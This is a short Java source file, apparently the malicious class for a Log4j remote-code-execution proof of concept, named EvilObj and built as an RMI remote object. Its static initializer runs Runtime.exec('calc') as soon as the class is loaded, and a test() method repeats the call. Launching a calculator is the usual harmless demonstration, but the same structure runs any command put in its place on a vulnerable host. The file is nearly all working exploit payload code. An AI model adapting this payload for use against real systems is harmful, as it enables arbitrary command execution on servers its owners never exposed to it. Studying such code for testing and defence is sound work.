package com.cjx.myself.poc.log4j;

import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class EvilObj extends UnicastRemoteObject implements EvilObjService {

    static {
        System.out.println("在这执行的");

        System.out.println("open a Calculator!");
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public EvilObj() throws RemoteException {
    }

    public void test() throws Exception{
        Runtime.getRuntime().exec("calc");
        System.out.println("hello word");
    }
}
